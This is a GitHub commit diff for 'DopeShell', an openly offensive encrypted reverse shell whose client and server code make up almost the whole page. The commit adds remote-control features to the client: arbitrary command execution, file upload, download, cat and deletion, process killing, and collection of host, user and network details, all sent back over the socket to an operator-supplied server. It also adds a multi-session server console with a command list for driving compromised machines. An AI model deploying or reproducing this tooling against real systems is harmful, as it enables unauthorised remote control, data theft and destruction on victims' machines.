Skip to content

Commit dbf14d7

Browse files
committed
2 parents 4faf4fb + a083cc2 commit dbf14d7

File tree

2 files changed

+288
-6
lines changed

2 files changed

+288
-6
lines changed

DopeShell/client.py

Lines changed: 161 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,12 @@
33
import socket
44
import subprocess
55
import os
6+
import getpass
7+
import platform
8+
import shutil
69
import base64
10+
import struct
11+
import psutil
712
import argparse
813
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
914
from cryptography.hazmat.backends import default_backend
@@ -16,6 +21,13 @@ def __init__(self, server_ip, server_port, key):
1621
self.key = key
1722
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1823

24+
def send_data(self, data):
25+
encrypted_data = self.encrypt(data)
26+
# Send the length of the data first
27+
self.sock.send(struct.pack('>I', len(encrypted_data)))
28+
# Send the actual data
29+
self.sock.sendall(encrypted_data)
30+
1931
def encrypt(self, data):
2032
iv = os.urandom(16)
2133
cipher = Cipher(algorithms.AES(self.key), modes.CFB(iv), backend=default_backend())
@@ -59,12 +71,159 @@ def run(self):
5971
self.sock.connect((self.server_ip, self.server_port))
6072
while True:
6173
command = self.decrypt(self.sock.recv(4096)).decode('utf-8')
74+
6275
if command.lower() == 'exit':
6376
break
64-
output = self.execute_command(command)
65-
self.sock.send(self.encrypt(output))
77+
78+
elif command.lower() == 'info':
79+
try:
80+
hostname = socket.gethostname()
81+
local_ip = socket.gethostbyname(hostname)
82+
except:
83+
local_ip = "Unable to fetch IP"
84+
85+
client_info = (
86+
f"OS: {platform.system()} {platform.release()}\n"
87+
f"Architecture: {platform.machine()}\n"
88+
f"Hostname: {platform.node()}\n"
89+
f"Processor: {platform.processor()}\n"
90+
f"Current User: {getpass.getuser()}\n"
91+
f"Local IP Address: {local_ip}\n"
92+
)
93+
self.sock.send(self.encrypt(client_info.encode('utf-8')))
94+
95+
elif command.lower().startswith('ls'):
96+
directory = command.split()[1] if len(command.split()) > 1 else '.'
97+
try:
98+
files = "\n".join(os.listdir(directory))
99+
except FileNotFoundError:
100+
files = f"[-] Directory '{directory}' not found."
101+
self.sock.send(self.encrypt(files.encode('utf-8')))
102+
103+
elif command.lower() == 'pwd':
104+
cwd = os.getcwd()
105+
self.sock.send(self.encrypt(cwd.encode('utf-8')))
106+
107+
elif command.lower().startswith('cd'):
108+
directory = command.split()[1] if len(command.split()) > 1 else '.'
109+
try:
110+
os.chdir(directory)
111+
self.sock.send(self.encrypt(b"[+] Changed directory."))
112+
except FileNotFoundError:
113+
self.sock.send(self.encrypt(f"[-] Directory '{directory}' not found.".encode('utf-8')))
114+
115+
elif command.lower().startswith('download'):
116+
_, file_path = command.split()
117+
try:
118+
with open(file_path, 'rb') as f:
119+
while chunk := f.read(4096):
120+
self.sock.send(self.encrypt(chunk))
121+
self.sock.send(self.encrypt(b'EOF'))
122+
except FileNotFoundError:
123+
self.sock.send(self.encrypt(b"[-] File not found."))
124+
125+
elif command.lower().startswith('upload'):
126+
_, file_name = command.split()
127+
with open(file_name, 'wb') as f:
128+
while True:
129+
file_data = self.decrypt(self.sock.recv(4096))
130+
if file_data == b'EOF':
131+
break
132+
f.write(file_data)
133+
self.sock.send(self.encrypt(b"[+] File upload complete."))
134+
135+
elif command.lower().startswith('mkdir'):
136+
_, directory = command.split(' ', 1)
137+
try:
138+
os.makedirs(directory)
139+
output = f"Directory '{directory}' created successfully."
140+
except Exception as e:
141+
output = f"Failed to create directory '{directory}': {e}"
142+
self.sock.send(self.encrypt(output.encode('utf-8')))
143+
144+
elif command.lower().startswith('delete'):
145+
_, file_path = command.split(' ', 1)
146+
try:
147+
os.remove(file_path)
148+
output = f"File '{file_path}' deleted successfully."
149+
except Exception as e:
150+
output = f"Failed to delete file '{file_path}': {e}"
151+
self.sock.send(self.encrypt(output.encode('utf-8')))
152+
153+
elif command.lower() == 'ps':
154+
processes = ""
155+
for proc in psutil.process_iter(['pid', 'name', 'username']):
156+
processes += f"PID: {proc.info['pid']}, Name: {proc.info['name']}, User: {proc.info['username']}\n"
157+
self.send_data(processes.encode('utf-8'))
158+
159+
elif command.lower().startswith('kill'):
160+
_, pid = command.split(' ', 1)
161+
try:
162+
os.kill(int(pid), 9)
163+
output = f"Process {pid} killed successfully."
164+
except Exception as e:
165+
output = f"Failed to kill process {pid}: {e}"
166+
self.sock.send(self.encrypt(output.encode('utf-8')))
167+
168+
elif command.lower().startswith('cat'):
169+
try:
170+
_, file_path = command.split(maxsplit=1)
171+
if os.path.exists(file_path) and os.path.isfile(file_path):
172+
with open(file_path, 'rb') as file:
173+
file_content = file.read()
174+
self.send_data(file_content)
175+
else:
176+
error_message = f"File {file_path} does not exist or is not a file."
177+
self.send_data(error_message.encode('utf-8'))
178+
except Exception as e:
179+
error_message = f"Error reading file: {str(e)}"
180+
self.send_data(error_message.encode('utf-8'))
181+
182+
elif command.lower() == 'netstat':
183+
netstat_output = subprocess.check_output('netstat -an', shell=True)
184+
self.send_data(netstat_output)
185+
186+
elif command.lower() == 'clear':
187+
# Clear screen command for the client shell (may not be fully visible in reverse shell setup)
188+
output = "\033c"
189+
self.sock.send(self.encrypt(output.encode('utf-8')))
190+
191+
elif command.lower() in ['ifconfig', 'ipconfig']:
192+
if platform.system() == 'Windows':
193+
ifconfig_output = subprocess.check_output('ipconfig', shell=True)
194+
else:
195+
ifconfig_output = subprocess.check_output('ifconfig', shell=True)
196+
self.send_data(ifconfig_output)
197+
198+
elif command.lower().startswith('find'):
199+
_, filename = command.split(' ', 1)
200+
matches = ""
201+
for root, dirs, files in os.walk('/'):
202+
if filename in files:
203+
matches += os.path.join(root, filename) + "\n"
204+
if matches:
205+
self.send_data(matches)
206+
else:
207+
output = f"No matches found for '{filename}'."
208+
self.sock.send(self.encrypt(output.encode('utf-8')))
209+
210+
elif command.lower() == 'sysinfo':
211+
sys_info = (
212+
f"System: {platform.system()} {platform.release()}\n"
213+
f"Machine: {platform.machine()}\n"
214+
f"Processor: {platform.processor()}\n"
215+
f"RAM: {round(psutil.virtual_memory().total / (1024**3), 2)} GB\n"
216+
f"Disk: {round(psutil.disk_usage('/').total / (1024**3), 2)} GB\n"
217+
)
218+
self.sock.send(self.encrypt(sys_info.encode('utf-8')))
219+
220+
else:
221+
output = self.execute_command(command)
222+
self.sock.send(self.encrypt(output))
223+
66224
self.sock.close()
67225

226+
68227
def main():
69228
parser = argparse.ArgumentParser(description="DopeShell Reverse Shell Client")
70229
parser.add_argument("--server-ip", type=str, required=True, help="IP address of the server to connect to")

DopeShell/server.py

Lines changed: 127 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,8 @@
44
import threading
55
import base64
66
import os
7+
import struct
8+
import platform
79
import argparse
810
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
911
from cryptography.hazmat.backends import default_backend
@@ -19,6 +21,37 @@ def __init__(self, host, port, key):
1921
self.sessions = {}
2022
self.session_counter = 1
2123
self.active_session = None
24+
self.commands = {
25+
'help': 'List all commands and their usage.',
26+
'exit': 'Terminate the session.',
27+
'switch <session_id>': 'Switch to another active session.',
28+
'sessions': 'List all active sessions.',
29+
'upload <local_path> <remote_path>': 'Upload a file from the local machine to the remote machine.',
30+
'download <remote_path> <local_path>': 'Download a file from the remote machine to the local machine.',
31+
'pwd': 'Print the current working directory on the remote machine.',
32+
'cd <directory>': 'Change the current working directory on the remote machine.',
33+
'ls [directory]': 'List files in the specified or current directory on the remote machine.',
34+
'ps': 'List running processes on the remote machine.',
35+
'netstat': 'Show network connections on the remote machine.',
36+
'ifconfig/ipconfig': 'Show network configuration (depending on OS).',
37+
'cat <file_path>': 'Display the contents of a file on the remote machine.',
38+
'info': 'Display system information of the remote machine.',
39+
'mkdir <directory>': 'Create a new directory on the remote machine.',
40+
'delete <file_path>': 'Delete a file on the remote machine.',
41+
'kill <pid>': 'Kill a process on the remote machine by PID.',
42+
'clear': 'Clear the screen in the shell.',
43+
'find <filename>': 'Find a file by name on the remote machine.',
44+
'sysinfo': 'Display detailed system information.',
45+
}
46+
47+
def receive_data(self, client_socket):
48+
# Read the data length first
49+
data_length = struct.unpack('>I', client_socket.recv(4))[0]
50+
data = b""
51+
while len(data) < data_length:
52+
chunk = client_socket.recv(4096)
53+
data += chunk
54+
return self.decrypt(data)
2255

2356
def encrypt(self, data):
2457
iv = os.urandom(16)
@@ -40,9 +73,93 @@ def handle_client(self, session_id, client_socket):
4073
if session_id != self.active_session:
4174
continue
4275
command = input(f"Session {session_id} Shell> ")
76+
4377
if command.lower() == 'exit':
4478
client_socket.send(self.encrypt(command.encode('utf-8')))
4579
break
80+
81+
if command.lower().startswith('help'):
82+
parts = command.split(maxsplit=1)
83+
if len(parts) > 1:
84+
specific_command = parts[1].lower()
85+
description = self.commands.get(specific_command, "Command not found.")
86+
help_text = f"{specific_command}: {description}"
87+
else:
88+
help_text = "DopeShell Tool Help\n" \
89+
"====================\n" \
90+
"List of available commands:\n"
91+
for cmd, desc in self.commands.items():
92+
help_text += f" {cmd:<30} - {desc}\n"
93+
help_text += "\nFor detailed information on a specific command, type 'help <command>'"
94+
95+
print(help_text)
96+
client_socket.send(self.encrypt(help_text.encode('utf-8')))
97+
continue
98+
99+
elif command.lower().startswith('ls'):
100+
client_socket.send(self.encrypt(command.encode('utf-8')))
101+
response = client_socket.recv(4096)
102+
print(self.decrypt(response).decode('utf-8'))
103+
104+
elif command.lower().startswith('pwd'):
105+
client_socket.send(self.encrypt(command.encode('utf-8')))
106+
response = client_socket.recv(4096)
107+
print(self.decrypt(response).decode('utf-8'))
108+
109+
elif command.lower().startswith('cd'):
110+
client_socket.send(self.encrypt(command.encode('utf-8')))
111+
response = client_socket.recv(4096)
112+
print(self.decrypt(response).decode('utf-8'))
113+
114+
elif command.lower().startswith('download'):
115+
_, remote_path = command.split()
116+
client_socket.send(self.encrypt(command.encode('utf-8')))
117+
with open(os.path.basename(remote_path), 'wb') as f:
118+
while True:
119+
file_data = self.decrypt(client_socket.recv(4096))
120+
if file_data == b'EOF':
121+
break
122+
f.write(file_data)
123+
print(f"[+] Downloaded {remote_path} from the client.")
124+
125+
elif command.lower().startswith('upload'):
126+
_, local_path = command.split()
127+
client_socket.send(self.encrypt(f"upload {os.path.basename(local_path)}".encode('utf-8')))
128+
with open(local_path, 'rb') as f:
129+
while chunk := f.read(4096):
130+
client_socket.send(self.encrypt(chunk))
131+
client_socket.send(self.encrypt(b'EOF'))
132+
response = client_socket.recv(4096)
133+
print(self.decrypt(response).decode('utf-8'))
134+
135+
elif command.lower() == 'info':
136+
client_socket.send(self.encrypt(command.encode('utf-8')))
137+
response = client_socket.recv(4096)
138+
print(self.decrypt(response).decode('utf-8'))
139+
140+
elif command.lower() in ['mkdir', 'delete', 'kill', 'clear', 'find', 'sysinfo']:
141+
client_socket.send(self.encrypt(command.encode('utf-8')))
142+
response = client_socket.recv(4096)
143+
print(self.decrypt(response).decode('utf-8'))
144+
145+
elif command.lower().startswith('cat'):
146+
client_socket.send(self.encrypt(command.encode('utf-8')))
147+
response = self.receive_data(client_socket)
148+
print(response.decode('utf-8'))
149+
150+
elif command.lower() in ['ifconfig', 'ipconfig', 'find']:
151+
client_socket.send(self.encrypt(command.encode('utf-8')))
152+
response = self.receive_data(client_socket)
153+
print(response.decode('utf-8'))
154+
155+
elif command.lower() in ['ps', 'netstat']:
156+
client_socket.send(self.encrypt(command.encode('utf-8')))
157+
response = self.receive_data(client_socket)
158+
print(response.decode('utf-8'))
159+
160+
elif command.lower() == 'sessions':
161+
self.list_sessions()
162+
46163
elif command.lower().startswith("switch"):
47164
_, new_session_id = command.split()
48165
if int(new_session_id) in self.sessions:
@@ -51,14 +168,20 @@ def handle_client(self, session_id, client_socket):
51168
else:
52169
print(f"[-] Session {new_session_id} does not exist.")
53170
continue
54-
client_socket.send(self.encrypt(command.encode('utf-8')))
55-
response = client_socket.recv(4096)
56-
print(self.decrypt(response).decode('utf-8'))
171+
else:
172+
client_socket.send(self.encrypt(command.encode('utf-8')))
173+
response = client_socket.recv(4096)
174+
print(self.decrypt(response).decode('utf-8'))
175+
57176
client_socket.close()
177+
del self.sessions[session_id] # Remove session on exit
178+
if not self.sessions:
179+
self.active_session = None # Reset active session if no sessions remain
180+
58181

59182
def run(self):
60183
print(f"[*] Listening on {self.host}:{self.port}")
61-
while True:
184+
while True:
62185
client_socket, addr = self.sock.accept()
63186
session_id = self.session_counter
64187
print(f"[*] Connection from {addr}, Session ID: {session_id}")

0 commit comments

Comments
 (0)